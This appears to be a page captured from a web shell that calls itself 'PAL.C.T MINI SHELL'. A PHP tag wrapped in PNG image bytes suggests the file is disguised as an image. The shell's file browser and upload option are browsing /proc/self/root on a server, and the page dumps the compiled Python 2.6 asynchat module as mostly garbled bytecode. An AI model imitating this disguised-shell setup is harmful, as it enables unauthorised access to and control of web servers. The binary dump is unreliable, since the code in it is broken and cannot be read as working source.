php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/
upload
files >> //proc/self/root/usr/lib/python2.6/asynchat.pyc

Lc@sdZddkZddkZddklZddklZddklZl	Z	dei
fdYZdd
d	YZd
ddYZ
dZdS(sA class supporting chat-style (command/response) protocols.

This class adds support for 'chat' style protocols - where one side
sends a 'command', and the other sends a response (examples would be
the common internet protocols - smtp, nntp, ftp, etc..).

The handle_read() method looks at the input stream for the current
'terminator' (usually '\r\n' for single-line responses, '\r\n.\r\n'
for multi-line output), calling self.found_terminator() on its
receipt.

for example:
Say you build an async nntp client using this class.  At the start
of the connection, you'll have self.terminator set to '\r\n', in
order to process the single-line greeting.  Just before issuing a
'LIST' command you'll set it to '\r\n.\r\n'.  The output of the LIST
command will be accumulated (using your own 'collect_incoming_data'
method) up to the terminator, and then control will be returned to
you - by calling your self.found_terminator() method.
iN(tdeque(tpy3kwarning(tfilterwarningstcatch_warningst
async_chatcBseZdZdZdZdddZdZdZdZ	dZ
dZdZd	Z
d
ZdZdZd
ZdZdZdZdZdZRS(sThis is an abstract class.  You must derive from this class, and add
    the two methods collect_incoming_data() and found_terminator()icCs8d|_g|_t|_tii|||dS(Nt(tac_in_buffertincomingRt
producer_fifotasyncoret
dispatchert__init__(tselftsocktmap((s/usr/lib/python2.6/asynchat.pyR@s		cCstddS(Nsmust be implemented in subclass(tNotImplementedError(Rtdata((s/usr/lib/python2.6/asynchat.pytcollect_incoming_dataQscCs|ii|dS(N(Rtappend(RR((s/usr/lib/python2.6/asynchat.pyt_collect_incoming_dataTscCsdi|i}|i2|S(NR(tjoinR(Rtd((s/usr/lib/python2.6/asynchat.pyt	_get_dataWscCstddS(Nsmust be implemented in subclass(R(R((s/usr/lib/python2.6/asynchat.pytfound_terminator\scCs
||_dS(sRSet the input delimiter.  Can be a fixed string of any length, an integer, or NoneN(t
terminator(Rtterm((s/usr/lib/python2.6/asynchat.pytset_terminator_scCs|iS(N(R(R((s/usr/lib/python2.6/asynchat.pytget_terminatorcscCsy|i|i}Wn#tij
o}|idSX|i||_x|iot|i}|i}|p|i|id|_qOt	|t
pt	|to{|}||jo-|i|id|_|i||_q|i|i| |i||_d|_|i
qOt|}|ii|}|djoG|djo|i|i| n|i|||_|i
qOt|i|}|o<||jo*|i|i| |i||_nPqO|i|id|_qOWdS(NRii(trecvtac_in_buffer_sizetsocketterrorthandle_errorRtlenRRt
isinstancetinttlongRRtfindtfind_prefix_at_end(RRtwhytlbRtntterminator_lentindex((s/usr/lib/python2.6/asynchat.pythandle_readksL


 
			


cCs|idS(N(t
initiate_send(R((s/usr/lib/python2.6/asynchat.pythandle_writescCs|idS(N(tclose(R((s/usr/lib/python2.6/asynchat.pythandle_closescCs||i}t||joBxOtdt||D]!}|ii||||!q5Wn|ii||idS(Ni(tac_out_buffer_sizeR!txrangeRRR-(RRtsabsti((s/usr/lib/python2.6/asynchat.pytpushs	#cCs|ii||idS(N(RRR-(Rtproducer((s/usr/lib/python2.6/asynchat.pytpush_with_producerscCsdS(s4predicate for inclusion in the readable for select()i((R((s/usr/lib/python2.6/asynchat.pytreadablescCs|ip|iS(s4predicate for inclusion in the writable for select()(Rt	connected(R((s/usr/lib/python2.6/asynchat.pytwritablescCs|iiddS(sAautomatically close this channel once the outgoing queue is emptyN(RRtNone(R((s/usr/lib/python2.6/asynchat.pytclose_when_donesc
Csx~|ios|ioi|id}|p*|id=|djo|idSn|i}yLtiiz1tot	ddt
nt|d|}WdQXWnGtj
o;|i
}|o|ii|q|id=qnXy|i|}Wn!tij
o|idSX|oI|t|jp|t|jo|||id<q{|id=ndSWdS(Nitignores.*buffer(RR9R;R0R1Rt__exit__t	__enter__RRtDeprecationWarningtbuffert	TypeErrortmoret
appendlefttsendRRR R!(RtfirsttobsRtnum_sent((s/usr/lib/python2.6/asynchat.pyR-s<



		

&cCs!d|_|i2|iidS(NR(RRRtclear(R((s/usr/lib/python2.6/asynchat.pytdiscard_bufferss	N(t__name__t
__module__t__doc__RR1R;RRRRRRRR,R.R0R5R7R8R:R<R-RJ(((s/usr/lib/python2.6/asynchat.pyR7s(							B									(tsimple_producercBseZddZdZRS(icCs||_||_dS(N(Rtbuffer_size(RRRO((s/usr/lib/python2.6/asynchat.pyRs	cCs[t|i|ijo(|i|i }|i|i|_|S|i}d|_|SdS(NR(R!RRO(Rtresult((s/usr/lib/python2.6/asynchat.pyRCs		(RKRLRRC(((s/usr/lib/python2.6/asynchat.pyRNstfifocBsAeZddZdZdZdZdZdZRS(cCs*|pt|_nt||_dS(N(Rtlist(RRR((s/usr/lib/python2.6/asynchat.pyRscCs
t|iS(N(R!RR(R((s/usr/lib/python2.6/asynchat.pyt__len__scCs|iS(N(RR(R((s/usr/lib/python2.6/asynchat.pytis_emptyscCs|idS(Ni(RR(R((s/usr/lib/python2.6/asynchat.pyRFscCs|ii|dS(N(RRR(RR((s/usr/lib/python2.6/asynchat.pyR5scCs&|iod|iifSdSdS(Nii(iN(RRtpopleftR;(R((s/usr/lib/python2.6/asynchat.pytpop!s
N(	RKRLR;RRSRTRFR5RV(((s/usr/lib/python2.6/asynchat.pyRQs				cCsBt|d}x+|o#|i|| o|d8}qW|S(Ni(R!tendswith(thaystacktneedletl((s/usr/lib/python2.6/asynchat.pyR&6s
(((RMRR	tcollectionsRtsysRtwarningsRRR
RRNRQR&(((s/usr/lib/python2.6/asynchat.pyt<module>/s(
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`